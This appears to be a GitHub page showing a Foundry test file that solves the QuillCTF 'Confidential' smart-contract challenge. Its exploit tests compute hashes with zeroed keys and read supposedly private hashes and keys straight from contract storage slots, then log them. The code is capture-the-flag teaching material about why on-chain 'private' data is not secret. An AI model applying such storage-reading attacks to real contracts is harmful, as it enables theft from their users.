-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathConfidentialExploit.t.sol
59 lines (49 loc) · 1.85 KB
/
ConfidentialExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '../../src/QuillCTF/Confidential.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract ConfidentialExploit is Test {
Confidential target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.startPrank(deployer);
target = new Confidential();
console.log('Target contract deployed');
vm.stopPrank();
}
function testNaiveExploit() public {
vm.startPrank(exploiter);
console.log('Compute the hash of alice with alicePk=0x0');
bytes32 alicePk = bytes32(uint256(0x0));
bytes32 aliceHash = target.hash(alicePk, target.ALICE_DATA());
console.log('Compute the hash of bob with bobPk=0x0');
bytes32 bobPk = bytes32(uint256(0x0));
bytes32 bobHash = target.hash(bobPk, target.BOB_DATA());
console.log('Compute the final hash');
bytes32 finalHash = target.hash(aliceHash, bobHash);
assert(target.checkthehash(finalHash) == true);
vm.stopPrank();
}
function readBytes32FromTargetStorage(
uint256 _slot
) public view returns (bytes32) {
return vm.load(address(target), bytes32(_slot));
}
function testExploitByReadingStorage() public {
vm.startPrank(exploiter);
console.log('Read alice and bob private hashes from storage');
bytes32 aliceHash = readBytes32FromTargetStorage(4);
bytes32 bobHash = readBytes32FromTargetStorage(9);
console.log('Compute the final hash');
bytes32 finalHash = target.hash(aliceHash, bobHash);
assert(target.checkthehash(finalHash) == true);
console.log('Read alice and bob private keys from storage');
bytes32 alicePk = readBytes32FromTargetStorage(2);
bytes32 bobPk = readBytes32FromTargetStorage(7);
console.logBytes32(alicePk);
console.logBytes32(bobPk);
vm.stopPrank();
}
}